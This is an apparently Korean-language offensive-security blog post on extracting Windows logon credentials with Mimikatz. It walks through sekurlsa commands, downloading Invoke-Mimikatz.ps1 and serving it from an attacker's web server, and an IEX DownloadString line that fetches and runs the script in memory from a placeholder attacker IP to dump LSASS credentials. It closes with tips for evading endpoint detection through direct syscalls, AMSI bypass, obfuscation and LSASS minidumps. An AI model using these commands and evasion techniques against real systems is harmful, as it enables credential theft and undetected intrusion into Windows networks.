mimikatz powerwhell inmemory extract logon information

agnusdei·2025년 5월 4일
0

Offensive Security

목록 보기
8/26

1. Mimikatz란?

Mimikatz는 Benjamin Delpy가 만든 Windows 자격 증명 추출 도구입니다. 주로 다음 작업에 사용됩니다:

  • LSASS 프로세스에서 로그인 자격 증명 추출
  • Kerberos 티켓(권한 위임, 티켓 재사용 등)
  • Pass-the-Hash / Pass-the-Ticket
  • Golden Ticket / Silver Ticket 생성

핵심 기능:

sekurlsa::logonpasswords     # LSASS에서 자격 증명 추출
sekurlsa::tickets            # Kerberos 티켓 확인
kerberos::ptt <파일>        # 티켓 삽입

2. Invoke-Mimikatz.ps1 스크립트 설명

Invoke-Mimikatz.ps1PowerSploit에서 제공하는 PowerShell 스크립트로, Mimikatz 바이너리를 인메모리에서 로드하여 실행할 수 있게 해줍니다.

cd /tmp
wget https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
python3 -m http.server 80

이 명령은 다음과 같은 역할을 합니다:

  • Kali Linux에서 PowerShell 스크립트를 다운로드 (wget)
  • python3 -m http.server 80으로 웹서버 열어서 Windows에서 해당 스크립트를 호스팅

공격자 시나리오: 윈도우 타깃이 이 스크립트를 PowerShell로 iex (new-object net.webclient).downloadstring() 등으로 호출하면 메모리에서 바로 실행됨 → 디스크에 흔적이 없음


3. 인메모리 Mimikatz 실행 예

IEX (New-Object Net.WebClient).DownloadString("http://공격자IP/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

이렇게 하면:

  • Invoke-Mimikatz.ps1의 함수가 메모리에 로드
  • Mimikatz 명령어(sekurlsa::logonpasswords)를 실행
  • LSASS 메모리에서 자격 증명 추출

4. EDR이란?

EDR (Endpoint Detection and Response)
→ 엔드포인트(PC, 서버)에서 이상 행위 탐지 및 대응하는 보안 솔루션

예시:

  • LSASS 접근 감시 (ex. ReadProcessMemory)
  • PowerShell 스크립트 로딩 탐지
  • Suspicious syscall 추적

대표 제품: Microsoft Defender ATP, SentinelOne, CrowdStrike Falcon 등


5. EDR 우회를 위한 기술: DInvoke

DInvoke는 C#으로 작성된 오픈소스 라이브러리로, Windows API를 직접 시스템 콜 수준에서 호출합니다.

왜 쓰나?

  • kernel32.dll, ntdll.dll 등 API 호출을 직접 하지 않고 → EDR 탐지를 우회
  • GetProcAddress, LoadLibrary 대신 → 메모리 매핑 방식으로 함수 호출

예시 사용

  • NtReadVirtualMemory, NtOpenProcess 등으로 직접 LSASS 메모리 읽기
  • Mimikatz 없이 크리덴셜 추출 가능

6. 전체 흐름 요약

[공격자] Kali Linux
    ↓
  Invoke-Mimikatz.ps1 다운로드 → 웹 서버로 호스팅
    ↓
[피해자] Windows
    PowerShell로 IEX 다운로드 실행 (메모리 내)
    ↓
Invoke-Mimikatz -DumpCreds
    ↓
→ LSASS 메모리에서 비밀번호 덤프
→ 해시/티켓 획득

※ EDR 탐지가 있을 경우:

  • Invoke-Mimikatz 탐지됨
    → 대체 방법: DInvoke 기반 Mimikatz, C/C++ shellcode, syscall 직접 호출

실전 응용 팁

  • AV/EDR 회피: AMSI 우회 + PowerShell Obfuscation + Reflective DLL Injection

  • 권한 필요: LSASS 접근엔 관리자 권한 필요

  • 기술 연계:

    • Get-Process lsass | Out-Minidump → 오프라인에서 mimikatz 실행
    • SharpDump, PPLdump, comsvcs.dll 등도 활용 가능

0개의 댓글